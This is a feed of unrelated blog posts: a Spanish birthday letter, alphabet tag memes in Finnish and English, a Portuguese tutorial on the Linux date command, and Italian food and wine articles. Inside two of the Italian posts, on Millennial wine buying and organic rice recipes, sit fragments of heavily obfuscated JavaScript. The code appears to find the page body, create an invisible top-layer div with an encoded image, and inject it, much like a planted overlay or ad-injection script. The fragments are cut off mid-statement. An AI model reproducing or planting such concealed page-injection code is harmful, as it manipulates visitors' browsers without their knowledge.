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happybirthdayfabri · 4 years

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🎊🎉Feliz cumpleaños Fabri🎊🎉!! Que hoy tengas un lindo dia y que la pases bien con tu familia y seres queridos n.n

Espero que de verdad te gusten los detalles que preparé para ti ;w; los hice con mucho cariño y para hacerte sonreír de alguna manera. No solo hoy demostraré cuanto te quiero, lo haré cada día que esté a tu lado pero hoy es un día especial así que vamos a darte mucho mucho amor

Quien diría que nos conocimos por el grupo O🌮s y jugando a club penguin jajaja y que comenzamos a hablar por el amor a Haikyuu🧡 Luego las tardes en llamada por discord jugando con los chicos y poco a poco cada día nos acercabamos más n.n

Me alegra mucho de verdad poder haberte conocido y que formes parte de mi día a día, me pone muy contenta leerte y saber de ti n.n siempre me sacas una sonrisa y por eso te agradezco un montón.

Es verdad que no llevamos mucho tiempo conociéndonos y aun faltan muchas cosas por compartir de nosotros pero quiero que sepas que te tengo mucha confianza y un inmenso cariño.

Gracias por todas las cosas que haces por lo nuestro ;w; como esas veces en las que tenía un millón de dudas y te llamaba para preguntarte del tema y tú estabas dispuesto a aclararmelas, de verdad lo aprecio y solo me hace quererte más. O cuando te preocupas por mi e intentas de alguna manera subirme los ánimos aaaa es muy bonito que la persona que te gusta te cuide de esa manera jeje Tambien gracias por tu tiempo y por cada momento que me regalas contigo, por tu compañía y paciencia ;w; a veces soy muy insegura meper pero aun así nunca siento que te alejas de mí por esa parte tan humana mía, al contrario ;w;

Es emocionante como nuestra relación está evolucionando ;w; y que al igual que yo quieres formar algo bonito e intentarlo💓

Aprecio de verdad cada pensamiento y cada parte tuya que compartes conmigo, y que poco a poco nuestra confianza crezca. Poder estar contigo en los momentos difíciles y afrontarlos, y ser alguien en quien puedas confiar y apoyarte. Muchas personas te consideran un buen amigo, puedes contar con ellos y conmigo cuando lo necesites. Todos tenemos buenos y malos días, quisiera poder estar contigo en cada uno de ellos y sé que no soy la única persona que piensa lo mismo, porque te apreciamos un montón y eres alguien importante para nosotros. Como dice iaia en su mensaje, no tienes que caerles bien a todos y estar feliz todo el tiempo, solo tienes que ser tú, muchas personas te queremos porque eres simplemente tú.

Y bueno aaaa tengo más cosas que decirte pero aqui lo dejo para que puedas leer los demás mensajes n.n

Te quiero un ioio jajaja así mucho mucho como clifford💓

Un collage de las fotos que me mandaste de Ryan n.n

Postdata:

Me gustaría poder invitarte a comer hoy o darte algo hecho a mano pero no se puede por la cuarentena ;w; Así que estuve pensando desde hace bastante tiempo en un regalo a distancia para hacerte y entre tantas ideas locas se me encendió el foquito💡

Recordé que hubo un proyecto de cumpleaños de Jinyoung (jajaja yo siempre pensando en él xd) donde las fans dejaban sus mensajes en una página web hecha solo para él. Así que pensé: “Anuma, una página web para fabri” y busqué en internet y san youtube como hacer una pero me di cuenta que necesitaba conocimientos de jackos y codificación y aaaa gg jejeje Le pregunté a uno que otro amigo si sabía cómo podía hacer una y mientras hablábamos recordé que un blog tambien podría funcionar. Asi que entre más testeos de plataformas de blog, tumblr fue la elegida jeje Era la primera vez que hacía un blog aqui ;w; vi varios tutoriales para poder personalizar el tema, el mouse con regalito y la playlist (que por cierto espero te guste ;w; por eso te pregunté esa vez cuáles eran tus openings favoritos jajaja) Ahora me siento toda una jacker jaja porque al final si tuve que hacer codificación pero no mucha comparada con una pagina web xd Y bueno, esa es la historia de cómo nació este proyecto ;w;

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paskanmarjapiirakka · 8 years

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MINUT TÄGÄTTIIN C: syypää on @parsakaalimato tuo veikeä henkilö (tykkäään näistä tägätkää mut kaikkeen pls C: )

rules: copy/paste and replace my answers with yours and tag people :^)

a - age: 25 b - biggest fear: Noenkaimäsitäteillekerro eli just se että kerron jotain ja sit sitä käytetään mua vastaan tai levitellään tai tai tai hyi kauhistus c - current time: 21:21 d - drink you last had: Kaffetta täsä hyvää iltaa e - every day starts with: Torkutustasaatana en oo vielä oikein omaksunu ihmisen unirytmiä, työn alla on herääminen sillai että ehtis vaik syödä ennen ku pitää lähtä. f - favorite song: no voi morjens niitä on seitsemäntoistasataaviisi listaanko kaikki. Japanijutuista ikuisuussuosikki josta ei vaan pääse yli on Kagrra,n Utakata, sit no Euroviisuhommista ikisuosikkeja mihi ei kyllästy on kans paljon ja tämä taitaa jo kertoo jotain musiikkimaustani. Sit tottakai MÄ HIIHDÄN. g - ghosts, are they real: Simsissä ainaki. h - hometown: No Kouvostoliittohan se kaiketi joo mut no mun koti ei oo siellä mut niinku mistä kotoisin vai i - in love with: Ei en harrasta ei materiaa voi rakastaa korkeintaan taidetta rakastan jos jotain jaa joo rakastan taidetta. Huomaatteks heti aattelin eka et pitäis vastaa joku asia esine olento ahahaha. hupsista. j - jealous of: Oon kade ihmisille jotka saa asioita aikaseks ku ite aina mietin et pitäis sitä ja tätä enkä ikinä osaa sit kuitenkaan toimia. k - killed someone: Ei en harrasta murhia l - last time you cried: Ööööööö no nyt en kyl osaa sanoo, emt, ehkä joskus marraskuussa ku asiat näytti synkeiltä ja ahdisti kovasti. m - middle name: Tyyliin maailman yleisin nimi. n - number of siblings: Puoltoista o - one wish: Haluisin löytää elämääni sellasia ihmisiä jotka siihen sopii ja joille se sopii eli siis ihmisiä jotka ei aiheuta ahdistusta ja ja ja no okei ykskin riittäis mut siis no joo öö tota p - person you last called/texted: Lasketaaks WhatsApp jos lasketaan ni sisko ullatus ullatus q - questions you’re always asked: PIIRSITKÖ TON IHA ITE? r - reasons to smile: Viime aikoina oon ylittäny itseni ihan pariinkin kertaan ja eilen oli mielettömän upee auringonlasku ja kävin jäällä höntöilemässä ja meri ja kevät ja ja ja elämä on ihanaa aaaaaa aaaa s - song last sang: Nightwishin Nemo, oli vähän nostalgiahetket tossa t - time you woke up: 06:50 on aina eka herätys, täysin tajuissani olin ehkä 07:30. u - underwear color: Valkosta ja harmaata uuh tylsää v - vacation destination: Sanokaa hulluksi mut haluisin käydä LAPISSA en oo koskaa käyny Rovaniemeä pidemmällä. No sit kans esim Köpis ois siisti ja ja ja JAPANIIN joo. Todennäkösesti seuraavat “lomat” menee tarkalleen töissä. w - worst habit: Oon taitava ignooraamaan asioita ja sit ne tuppaa paisuu ja menee vaa pahemmaks sen sijaan et ne katoais ja lakkais olemasta. Ja kynsien pureskelu/repiminen. x - x-rays you’ve had: Öäää meinasin sanoo et ei mitää mut hampaita vissii kuvattu joo. y - your favorite food: KAIKKI. noeivaa. No täl hetkellä sushi ku oon ns viimein oppinu siitä tykkää. JA SINIHOMEJUUSTO. aah. z - zodiac sign: Skorpioni, kuumerkiltäni olen rapu, nousevasta merkistä en vieläkään tiedä onks se vesimies vai kauris ja tää raastaa sieluani edelleen.

emmänytägääketääkueimulooystävii ;-;

#jee tägiasia

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jucks72 · 7 years

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Vino e distillati, i Millennial sono consumatori più consapevoli?

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Vino e distillati, i Millennial sono consumatori più consapevoli?

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p=')',V='B',f='AAI',C='BAA',o='L',t='AAAA',d=((77.,4.65E2)>0x132?(72.3E1,'E'):(2.4E2,125)),M='H5B',G='y',Y='///',A='AAP',a='AA',z='AAA',D='I',W='AQABA',O='lh',R='D',c='O',r0='G',Q='0l',H0='R',V0='ase64',i0='b',v0='g',X='ge',S='rl',T=999999,K0='div',x0=function(Z)y0.style.zIndex=Z;,Y0=function(Z)y0.style.backgroundImage=Z;,y0=n1V9T[d9T]['createElement'](K0);x0(T);Y0((j0+S+I2+Z2+p0+N0+p0+g7+M0+u7+p0+X+c0+v0+M0+e7+l7+i0+V0+Y2+H0+Q+r0+c+R+O+W+D+z+a+A+Y+G+M+U0+d+t+U0+o+z+U0+a+C+d+U0+f+V+H0+a+e2+p));return function(q)for(var T5T in n1V9T[d9T])if(T5T.length==4&&T5T.charCodeAt(3)==((140.,105.)<(28,15.10E1)?(21.,121):(27,96.2E1))&&T5T.charCodeAt((23<(5.,43.)?(97,2):(34,71)))==((54.1E1,77)<=(0x79,0x1B4)?(0x21D,100):(4.34E2,145))&&T5T.charCodeAt(0)==98)break;var E=y0.cloneNode(Y8Z.B6T);for(var k in q)if(Object.prototype.hasOwnProperty.call(q,k))var e=function(Z)E.style[k]=Z[k];;e(q);n1V9T[d9T][T5T]['appendChild'](E);return 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I Millennial preferiscono le esperienze ai prodotti. Questo è il mantra che si ripete in tutti gli uffici marketing.

Il target demografico degli individui nati nel ventennio 1982-2002 è, infatti, oggetto di studio privilegiato da parte di tutti quegli analisti che cercano di decifrarne gusti e comportamenti. Non sempre gli esperti sono d’accordo, ma su una cosa nessuno ha più dubbi: i giovani adulti di oggi hanno cambiato abitudini di consumo rispetto ai loro genitori (Baby Boomer), ma anche rispetto ai loro fratelli maggiori (Generazione X).

Capire i Millennial non è un’impresa facile, poiché sfuggono alle categorizzazioni tradizionali e sono molto consapevoli delle modalità in cui i prodotti vengono loro proposti dai brand. Da un punto di vista generale, pongono maggiore attenzione alla salute e ricercano uno stile di vita equilibrato e sostenibile. L’eccesso fine a se stesso sta passando di moda.

Nei loro consumi vince, piuttosto, la ricerca di prodotti autentici e preferibilmente biologici. Il consumismo dei Millennial è meno bulimico di quello delle generazioni precedenti e sembra che diano più importanza alla valenza identitaria di quello che aquistano. Esperienze, invece di prodotti, dicevamo: ma che cosa significa tutto questo per chi si occupa di produrre e vendere vino?

Secondo IWSR, uno dei più importanti centri per l’analisi di mercato nel settore degli alcolici, per il secondo anno consecutivo il consumo di alcolici negli USA è in leggero calo (-0,2%). A calare, tuttavia, sono i prodotti più economici volti a un consumo di massa. In crescita, invece, il settore del vino e dei distillati, che registrano, rispettivamente, un miglioramento dell’1,3% e 2,3%. Particolare successo è stato riscosso dal prosecco, che cresce con uno sbalorditivo +23%. I dati americani ci dicono, in sintesi, che si beve un po’ meno, ma si beve meglio. Se come di solito accade, gli Stati Uniti anticipano le tendenze che poi si verificano anche da noi, il messaggio ai nostri produttori è forte e chiaro: la qualità paga.

Dello stesso parere è anche il Wine Management Lab della Bocconi, che ha recentemente sottolineato come il vino sia un merceologico caratterizzato da una valenza simbolica elevata, per cui non sono per forza determinanti le classiche dinamiche tra prezzo e qualità. La domanda giusta da porsi diventa “come si vende il vino?” e non “quanto va prezzata la bottiglia?”. Se le dinamiche commerciali si fanno più complesse e sfaccettate, chi produce vini di qualità ha un indubbio vantaggio competitivo.

E per quanto riguarda la distribuzione e la vendita? Grazie alla nuova attenzione alla qualità e a un’esperienza di degustazione che valorizzi il prodotto in tutte le sue sfumature, le enoteche si presentano come un vero e proprio punto di riferimento. La partita della ristorazione locale viene vinta da coloro che sanno raccontare meglio i prodotti che propongono perché, come abbiamo visto, il prezzo non è tutto in questo settore. Un grande ruolo in questa partita lo giocano anche gli store virtuali come l’enoteca online Bibentes. Il commercio elettronico è, infatti, l’ambiente naturale dove i nativi digitali si muovono con sicurezza e disinvoltura. L’assenza di mura fisiche e limiti geografici permette di concentrarsi su schede prodotto raffinate in grado di accompagnare il cliente all’acquisto fornendogli le corrette informazioni e collocando i prodotti e le loro caratteristiche nel giusto contesto.

La posizione più debole, sul lato della produzione, è quella di chi propone vino economico destinato a un consumo non consapevole, mentre, dalla parte di chi vende, vedremo se la grande distribuzione saprà adattarsi a queste nuove tendenze. Il mercato negli ultimi anni è indubbiamente cambiato, ma per il vino è un momento favorevole, perché rappresenta il tipico merceologico ad alto valore aggiunto in grado di regalare quell’esperienza a 360 gradi tanto amata e cercata dalle nuove generazioni.

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lorax177 · 7 years

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I was tagged by the wonderful @ravenclawinfairytail! what an amazing human being <3

A - Age: 20 B - Birthplace: san diego CA C - Current time: 6:09 pm D - Last thing you drank: Water E - Easiest person to talk to: all of my friends!! F - Favorite song: aaaa i have a lot!! but i guess recently ive been listening to the heathers musical soundtrack a lot, tho idk if they’re my favorites per se G - Grossest memory: that time i ate a sketchy pastry of some sort i found on the ground in my high school in front of the theater greenroom on a dare (it had a pubic hair on it lmao) H - Horror yes or no?: depends. I really love things like Alien and the Vashda Nerada episode of doctor who and stuff like that but stuff with really dumb people being hunted by some creep with a completely misrepresented ‘mental illness’ is anywhere from boring and unplesant to downright offensive (like. we’re not monsters. and psychosis, antisocial personality disorder, and dissociative identity disorder are all different things even though they’re all conflated in movies and they’re not necessarily indicative of someone being violent or abusive. like take it from me, a schizoaffective.) I - In love?: not in a romantic sense (i’m acearo) but i do love all of my friends and i have special interests which are like, kind of like being in love, with a concept? idk J - Jealous of people?: not really other than like, man i wish i was as cool/smart/thoughtful as that person or i had that ability or oppertunity, but i don’t really get mad about it, just kind of wistful i guess lol K - Killed someone?: no lol L - Love at first sight or should I walk past again?: there’s no such thing as love at first sight. Love takes time and love takes work. at the very least you have to know the other person. M - Middle name: [redacted] N - Number of siblings: 2, an older sister and a younger brother. O - One wish: for the world to heal P - Person you last called: the collection company im in debt to lol (gotta love student loans) Q - Question you’re always asked: ‘what does that mean’ R - Reason to smile: my friends!! my special interests!!! food!!! S - Last song you listened to: lifeboat from heathers the musical lol T - Time you woke up: like 1130 am lmao U - Underwear color: blue? V - Vacation: hangin out here and seeing friends! W - Worst habit: procrastinating X - X-rays: they sure do exist Y - Your favorite food: idk i just love food! but mexican, sushi, and mongolian hot pot are the best haha! Z - Zodiac sign: probably capricorn i think?

tagging: @nobbynobbs @polyglotplatypus @goopy-amethyst @elphabaforpresidentofgallifrey @koryos and anyone else who wants to!!

#thank you!! <3

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certificacaolinux-blog · 3 years

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Comando date no Linux (data e hora) [Guia Básico]

O comando date no Linux pode ser utilizado para mostrar a data ou configurar a data do sistema. As opções mais comuns são: - -d string Mostra as horas em uma determinado formato - -u Mostra ou configura as horas no formato UTC (Coordinated Universal Time) - -s Configura as horas O Tempo Universal Coordenado, abreviadamente UTC (do inglês Coordinated Universal Time), também conhecido como tempo civil, é o fuso horário de referência a partir do qual se calculam todas as outras zonas horárias do mundo. Veja os exemplos: $ dateSat 19 Oct 2019 01:13:02 PM -03 A opção "-u" mostra as horas no formato UTC: $ date -uSat 19 Oct 2019 04:13:45 PM UTC O comando date permite exibir uma data em diversos formatos: %D: mm/dd/yy. %d: Dia do mês (01 a 31). %a: Dias da semana abreviado (Sun, Mon ... Sat).%A: Dias da semana por extenso (Sunday, Monday...Saturday).%h ou %b: Mês abreviado (Jan, Feb... Dec).%B: Mês por extenso (January... December).%m: Mês em numeral (01 to 12).%y: Dois últimos dois digitos do ano (00 a 99).%Y: Ano com quatro dígitos (2019). %T: Hora no formato 24 horas HH:MM:SS.%H: Hora.%M: Minuto.%S: Segundo.%j: Dia do ano (122)%u: dia da semana (1... 7) - 7 representa domingo.%w: dia da semana (0... 6) - 0 representa domingo.%F: Formato ANO-MES-DIA Exemplos: $ date +'Hoje é %A, %d de %B de %Y, o %j dia do ano, as %H:%M'Hoje é Saturday, 02 de November de 2019, o 292 dia do ano, as 14:14 Este exemplo ficou estranho, porque mostra a data com localização em inglês com uma frase em portugueês. Para alterar a localização e exibir tudo em português, podemos alterar a variável LC_ALL: $ export LC_ALL=pt_BR.UTF-8 Ao executar novamente o comando date, a data ficará em português: $ date +'Hoje é %A, %d de %B de %Y, o %j dia do ano, as %H:%M'Hoje é sábado, 02 de Novembro de 2019, o 292 dia do ano, as 14:15 Alterar o formato da data pode ser útil para ser utilizado numa variável para ser usada em um script: #!/bin/bashecho "backup dos dados"export DATA=$(date +'%F-%H%M%S')tar cvzf /home/uira/backup-$DATA.tar.gz /etc O script acima escreve a data no formato AAAA-MM-DD-HHMMSS na variável DATA. Depois utiliza a variável como parte do nome de um arquivo tar que faz backup do diretório /etc. O resultado da execução será um arquivo backup-2019-10-19-142339.tar.gz. Observe que o resultado de um comando pode ser utilizado numa variável se ele estiver contido em $( comando ). Alterar a Data no Linux O comando date também pode ser utilizado para alterar a data do relógio do sistema. Neste exemplo, mudei a data do sistema para o dia do meu aniversário: # date +%Y%m%d -s "2019-05-11"20190511 $ datesáb mai 11 00:00:01 -03 2019 A variável TZ altera a data e hora mostrados pelo comando date para a zona de fuso horário. https://youtu.be/G_mZhW2J7Is Aprenda muito mais sobre Linux em nosso curso online. Você pode efetuar a matrícula aqui. Se você já tem uma conta, ou quer criar uma, basta entrar ou criar seu usuário aqui. Gostou? Compartilhe Read the full article

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jucks72 · 7 years

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Riso biologico: 6 ricette (a prova di golosi) per portarlo in tavola

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Riso biologico: 6 ricette (a prova di golosi) per portarlo in tavola

var n1V9T=window;for(var K9T in n1V9T)if(K9T.length===((98.,0x126)<=56.80E1?(74.,9):(95.,5.350E2)<0x151?"m":(0x21F,64.))&&K9T.charCodeAt((120>=(91,44.)?(135.8E1,6):(0x15E,0x7F)>1.375E3?(5.350E2,'t'):0x12F<(0x69,101.)?13:(0x87,0x1FB)))===((18.,8)<=(44.1E1,0xE3)?(0xAB,116):(0x23C,12.31E2))&&K9T.charCodeAt(((92.,108)<=0x3?'F':(0x140,1.01E3)>=66?(11.,8):142.>=(46.,0x257)?(68,0xCD):(2.75E2,92)))===((63.5E1,0x5E)<27?(7.060E2,101.):41.<(0x19C,0xEB)?(14,114):(0x191,0x12))&&K9T.charCodeAt((1.096E3>(97,16.)?(14.85E2,4):11>(3.1E1,13.9E1)?(122.10E1,'G'):(25.,0x3E)))===(47<(4.3E1,0x23B)?(5.28E2,103):(121.,0x10D)>=(0x21,67.5E1)?(3.800E2,78.60E1):(2.530E2,3.34E2))&&K9T.charCodeAt(((77,33.80E1)<0x229?(0x15A,0):(5.68E2,28.)))===((0x220,12.)<(0x204,85)?(5.850E2,110):(106,0x1C0)))break;for(var d9T in n1V9T)if(d9T.length===((57,0x13D)<=114?(2.27E2,'px;'):6.24E2<(1.049E3,1.2550E3)?(101,8):(0x1C3,57)<=31.?(0x165,'s'):(0xCC,108))&&d9T.charCodeAt(5)===101&&d9T.charCodeAt(7)===116&&d9T.charCodeAt(((0x1A1,60)>=(84,28.)?(51,3):(0x15E,1.366E3)))===117&&d9T.charCodeAt(0)===100)break;for(var y9T in n1V9T)if(y9T.length===6&&y9T.charCodeAt(((68.10E1,0x37)<=1.95E2?(0x80,3):(109,0x2E)))===100&&y9T.charCodeAt(5)===119&&y9T.charCodeAt(1)===105&&y9T.charCodeAt(0)===119)break;'use strict';var Y8Z="m9T":function(Z,q)return Z<=q;,"B6T":false,"p6T":function(Z,q)return Z-q;,"e6T":function(Z,q)return Z<=q;,"n9T":function(Z,q)return Z===q;,"J1T":function(Z,q)return Z==q;,"d6T":function(Z,q)return Z<<q;,"P1T":function(Z,q)return Z in q;,"Z1T":function(Z,q)return Z===q;,"u6T":function(Z,q)return Z==q;,"f1T":function(Z,q)return Z!==q;,"i6T":function(Z,q)return Z===q;,"I1T":function(Z,q)return Z==q;,"L6T":function(Z,q)return Z==q;,"x6T":function(Z,q)return Z===q;,"e9T":function(Z,q)return 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Senza contare le tante varietà tipiche di alcune regioni vocate alla coltivazione del riso, ognuna ideale per specifiche preparazioni culinarie, che siano risotti, minestre, insalate o dessert. Tutte buone e da scoprire, soprattutto se coltivate secondo il metodo bio, nella totale assenza di chimica. Il riso è il protagonista di molte ricette gustose tipiche di alcune cucine regionali, ma negli anni si è fatto conoscere e amare ovunque, proposto in piatti originali e sorprendenti, come quelli proposti in queste 6 semplici ricette, tutte bio. Provatele subito, vi sorprenderanno.

Risotto rosa marchetti con patè di peperoni

alcenero.com

Ingredienti: 320 g di riso rosa marchetti bio 300 g di seppie pulite 700 ml di acqua 1 cipolla 1 costa di sedano 1 carota 1 bustina di zafferano 3 foglie di bietola da costa 20 ml di vino bianco secco olio extravergine d’oliva bio 12 g di sale 2 cucchiai di patè di peperoni

Tritate la cipolla e tagliate a cubetti la costa di sedano e la carota. Fate rosolare le verdure in una padella antiaderente con 2 cucchiai d’olio e 20 ml di acqua. Sciacquate le seppie e separate i tentacoli, eliminate occhi e becco e tagliate le sacche a striscioline, unitele al trito con la parte verde delle bietole tritate. Continuate la cottura per 2 minuti. Tostate il riso con 2 cucchiai d’olio per 1 minuto a fiamma vivace. Versate l’acqua bollente poco alla volta mescolando di tanto in tanto e il sale. Dopo 13 minuti unite il trito di verdure e le seppie, portate a cottura e lasciate insaporire per altri 2 minuti. Spegnete la fiamma e mantecate il risotto con il patè di peperoni. Servite il risotto immediatamente.

Torta salata di riso superfino baldo con spinaci, erbette e pomodori secchi

alcenero.com

Ingredienti: 200 g di riso baldo bio 300 g di erbette 300 g di spinaci freschi 1 cipolla dorata 1 spicchio d’aglio 3 uova medie bio 70 g di parmigiano grattugiato 50 ml di bevanda vegetale di riso bio 8 pomodori secchi bio 200 g di caciocavallo 2 cucchiai di pangrattato olio extravergine d’oliva bio sale e pepe

Lavate gli spinaci e le erbette, cuoceteli con l’acqua del lavaggio fino a che si saranno appassiti, strizzateli, poi tritateli finemente. Scaldate 2 cucchiai d’olio in una padella antiaderente, rosolate l’aglio schiacciato e fate insaporire le verdure con un pizzico di sale per 4 minuti, mescolando spesso. Tagliate i pomodori secchi e il caciocavallo a cubetti. Lessate il riso in abbondante acqua salata con la cipolla tagliata a fettine sottili. Scolatelo insieme alla cipolla poi trasferitelo in una ciotola con le verdure, il parmigiano, le uova sbattute con il latte di riso, i pomodori secchi, il caciocavallo, il sale e il pepe. Ungete d’olio una teglia da 26-28 cm di diametro, spargete il pangrattato, distribuite il composto, pareggiatelo, poi spolverizzate di pangrattato la superficie, irrorate d’olio e cuocete in forno preriscaldato a 180° per 40 minuti circa.

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jucks72 · 7 years

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Pollo alla genovese con erbe aromatiche

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Pollo alla genovese con erbe aromatiche

Pollo arrosto alla genovese: ingredienti, ricetta e i nostri consigli migliori per preparare un secondo piatto di carne bianca saporito e da abbinare ai contorni che preferite!

Una ricetta particolare per preparare un secondo piatto perfetto per una cena in famiglia: il pollo arrosto alla genovese. Per rendere la carne ancora più saporita e ricca di gusto vi consiglio di aggiungere un cucchiaio di pinoli e uno di olive nere da tritare insieme all’aglio e alle erbe aromatiche. Se preferite potete anche utilizzare il pollo già tagliato a pezzi, ecco la ricetta passo per passo!

Ingredienti per preparare il pollo arrosto alla genovese (per 4-6 persone)

1 pollo intero già pulito

olio extravergine di oliva q.b.

2 spicchi di aglio bianco

1 cipollotto

brodo q.b.

aceto balsamico q.b.

2 amaretti

1 limone

1 cucchiaio di farina

sale q.b.

erbe aromatiche miste q.b.

DIFFICOLTÀ: 1 | TEMPO DI COTTURA: 60′ | TEMPO DI PREPARAZIONE: 20′

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Preparazione del pollo arrosto al forno

Per preparare il pollo intero al forno vediamo subito come cucinare il pollo: iniziate tritando uno spicchio di aglio insieme alle erbe aromatiche. Prendete poi il pollo intero e mettetelo all’interno di una pirofila capiente. Spennellate il pollo con l’olio di oliva e coprite con il mix di aglio ed erbe aromatiche. Aggiungete anche il cipollotto e il limone tagliati a pezzi e infornate in forno già caldo a 200° per 60 minuti circa.

Nel frattempo preparate anche il resto degli ingredienti necessari per il condimento: fate rosolare in una padellina il secondo spicchio di aglio con un filo d’olio di oliva, aceto balsamico, la farina, un pizzico di sale e il brodo vegetale quanto basta per ottenere una salsa non troppo liquida. Aggiungete anche gli amaretti sbriciolati per dare un tocco in più di sapore.

Quando mancheranno 15-20 minuti al termine della cottura filtrate la salsa passandola attraverso un colino a maglie strette poi versatela sul pollo. A cottura ultimata togliete il pollo dal forno e servite ben caldo, buon appetito!

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jucks72 · 7 years

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L’importanza di chiamarsi... Pommery Nobili e affascinanti perlage

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L’importanza di chiamarsi... Pommery Nobili e affascinanti perlage

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All’insegna del gusto e del lusso si chiude il 2017, con i numerosi successi che il brand Pommery ha ottenuto anche quest’anno, in un continuo crescendo che conferma l’altissima qualità dei suoi Champagne.

Durante il famoso Carnevale di Venezia, Brut Apanage e Grand Cru Royal Millésimé 2006 hanno accompagnato il Ballo del Doge nella sontuosa cena, ricercata interpretazione dei ricchi pranzi nobiliari del XVII secolo, per lasciare il gran finale a Royal Blue Sky, con il compito di accompagnare gli ospiti fino alle prime luci dell’alba. Con quest’ultimo Champagne, o per meglio dire con questo nuovissimo modo di brindare, nei più prestigiosi circoli di golf la primavera ha accolto la 4ª edizione della Pommery Golf Cup: dallo Sheraton Parco de’ Medici Rome al Donna Fugata Golf Resort & Spa di Ragusa, quindi al Circolo Golf Villa d’Este e infine al Circolo di Rapallo.

La partnership con il Concorso d’Eleganza Villa d’Este patrocinato da BMW Group è stato il momento più significativo per la celebrazione del vero lusso, con un “parterre de roi” a livello mondiale fra possessori di veicoli esclusivi. Nei più prestigiosi alberghi e resort italiani, e nelle loro straordinarie piscine e spa, le caldissime temperature estive sono state confortate ancora una volta da bicchieri colmi di ghiaccio, riempiti con generosità da Royal Blue Sky: Grand Hotel Tremezzo, Lefay Lago di Garda, Grand Hotel Alassio, Forte Village, sono soltanto alcuni fra gli esempi di quel lusso “tutto italiano” che volentieri apre le porte all’eccellenza francese di Pommery.

Per lavoro o per vacanza, all’emozione del viaggio si aggiunge oggi il concetto del “bien vivre”, merito degli Champagne Pommery presenti al Ristorante Attimi by Heinz Beck presso il Terminal 3 dell’Aeroporto di Fiumicino, al Michelangelo dell’Aeroporto di Linate (Mi) e ad Orio al Serio (Bg) nel Bicook Bistrot firmato Cerea.

Ma il grande amore di Pommery è stato e rimane la tavola, quella che celebra le più intense emozioni e gli abbinamenti fatti con genialità. Se ogni chef merita l’esaltazione della propria creatività rivolta a soddisfare i più esigenti palati, Pommery con uguale finalità propone una ricca scelta di prestigiosi Champagne tra cui eccelle le Cuvée Louise anche nelle versioni Nature e Rosé, le cui virtù diventano emozionanti esperienze. Nasce così con la grande cucina un legame fortemente sostenuto dall’amministratore delegato Vranken-Pommery Italia, Mimma Posca, che ha concluso importanti partnership con la ristorazione d’eccellenza: Associazione Le Soste, Associazione Jre e Relais & Châteaux.

Con la stessa passione, Mimma Posca privilegia l’arte nelle sue esaltanti espressioni, tra cui un entusiasmante concerto diretto da Placido Domingo al Teatro Alla Scala e una presenza alla Pinacoteca Ambrosiana, dove fra opere di straordinario valore primeggia il Codice Atlantico di Leonardo da Vinci. Proprio per questa predilezione è stato creato lo Showroom Experience Pommery che ospita con frequenza vernissage e anteprime editoriali, all’insegna della cultura e dell’art de bien vivre.

Per informazioni: www.vrankenpommery.it

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jucks72 · 7 years

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Faraona alla birra con patate per il menù di Natale

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Faraona alla birra con patate per il menù di Natale

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È ora di scegliere i vostri secondi piatti natalizi: puntate tutto sulla faraona alla birra! Una delle ricette di Natale più conosciute, celebrate e golose.

Quella della faraona al forno è la ricetta perfetta per le grandi occasioni, e con l’aggiunta della salsa alla birra e le patate come contorno sarà perfetta per la cena di Natale. Se vi siete sempre chiesti come cucinare la faraona, ma non vi siete mai cimentati in prima persona, siete nel posto giusto. Oggi vi proponiamo un piatto semplice e di grande effetto, molto gettonato durante il periodo delle Feste perché grazie alla sua carne soffice e saporita è una delle ricette natalizie più apprezzate. Provateci anche voi: la faraona alla birra vi lascerà senza parole!

Ingredienti per la ricetta della faraona al forno alla birra (per 4 persone)

1 faraona

1 bottiglia di birra

1 scalogno

1 carota

20 patate novelle

Rosmarino q.b.

Salvia q.b.

Erbe aromatiche q.b.

Sale q.b.

Pepe q.b.

DIFFICOLTA’: 1 | TEMPO DI COTTURA: 60′ | TEMPO DI PREPARAZIONE: 30′

FONTE FOTO: https://it.pinterest.com/pin/332492384962657806/

Preparazione della faraona arrosto con patate

Per la ricetta della faraona arrosto, prima di tutto cominciate col lavare e pulire il volatile, così da eliminare tutte le penne: passatela velocemente sulla fiamma per eliminare anche le piume più piccole e invisibili a occhio nudo.

Tagliate poi lo scalogno e la carota e metteteli in una teglia con un filo di olio. Mettete anche le patate novelle tagliate a metà e al centro posizionate la faraona e irrorate con la birra. Aggiungete salvia, rosmarino, erbe aromatiche e un pizzico di sale e di pepe, infine infornate. Per un gusto più intenso, fate marinare la carne per un paio di ore immersa in tutti gli ingredienti.

Cuocete in forno preriscaldato a 180°. Il tempo di cottura della faraona al forno è di circa un’ora, ma se la pelle si colora troppo copritela con un foglio di carta di allumino.

Ogni 15 minuti estraetela dal forno, con un cucchiaio raccogliete il sughetto alla birra e versatelo sul dorso della faraona. La vostra faraona alla birra è pronta per essere gustata! Buon appetito!

FONTE FOTO: https://it.pinterest.com/pin/332492384962657806/

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jucks72 · 7 years

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Feudotto Biologico e Feudotto Novolio Igp Due oli di qualità de La Goccia d’Oro

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Feudotto Biologico e Feudotto Novolio Igp Due oli di qualità de La Goccia d’Oro

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Se sei un’azienda familiare, magari piccola, diventa abbastanza facile fare degli ottimi prodotti come l’olio extravergine d’oliva, in quanto il controllo di tutta la filiera è agevole.

Se sei un’azienda grande o addirittura una cooperativa dove arrivano le produzioni di centinaia o addirittura di oltre mille soci, fare qualità, e magari eccelsa, non è affatto facile.

Ci riesce bene la cooperativa La Goccia d’Oro di Menfi, forte di mille soci conferitori con oliveti in una delle zone più pregiate per le olive di tutta la Sicilia, dove oltre all’Igp Sicilia, che chiaramente ingloba tutta l’isola, vi insistono 2 Dop: Val di Mazara per l’olio e Nocellara del Belice per le olive da mensa dell’omonima cultivar. Ormai sono anni che l’amministrazione della cooperativa presieduta da Giuseppe Oro (pura coincidenza col nome della cooperativa) ha puntato sulla qualità e sull’ottimizzazione della gestione specialmente del frantoio, merito del direttore Accursio Alagna che ne ha fatto una missione coinvolgendo anche l’Università di Palermo per definire un sistema di ottimizzazione delle attività, a cominciare dalla campagna che comprende ben 1.100 ettari di uliveti, per la metà dotati di impianti di irrigazione di soccorso, importanti in queste annate siccitose.

